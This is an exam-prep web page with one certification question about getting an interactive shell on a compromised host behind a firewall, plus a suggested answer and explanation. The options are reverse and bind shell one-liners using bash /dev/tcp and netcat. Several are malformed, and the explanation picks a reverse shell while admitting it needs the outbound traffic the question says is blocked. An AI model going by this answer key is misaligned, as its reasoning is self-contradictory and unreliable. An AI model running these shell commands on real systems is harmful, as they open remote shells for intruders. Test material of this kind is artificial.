ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 421 - PT0-002 discussion

Report
Export

After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to obtain an interactive shell on the remote host?

A.
bash -i >& /dev/tcp 8443 0>&l
Answers
A.
bash -i >& /dev/tcp 8443 0>&l
B.
nc -e host 8443 /bin/bash
Answers
B.
nc -e host 8443 /bin/bash
C.
nc -vlp 8443 /bin/bash
Answers
C.
nc -vlp 8443 /bin/bash
D.
nc -vp 8443 /bin/bash
Answers
D.
nc -vp 8443 /bin/bash
Suggested answer: B

Explanation:

When a firewall is blocking outbound traffic, a penetration tester can attempt to use a reverse shell to obtain an interactive shell on the remote host. The command nc -e host 8443 /bin/bash uses Netcat to create a reverse shell, connecting back to the attacker's machine on port 8443 and executing /bin/bash.

This command assumes that outbound traffic is allowed on the specified port (8443) and that Netcat is available on the target system. It effectively bypasses the firewall's restrictions by initiating the connection from the inside.

Explanation of reverse shell techniques: Pentestmonkey Reverse Shell Cheat Sheet

Practical examples from penetration testing scenarios: Horizontall.

asked 02/10/2024
Lawrence Bargers
32 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first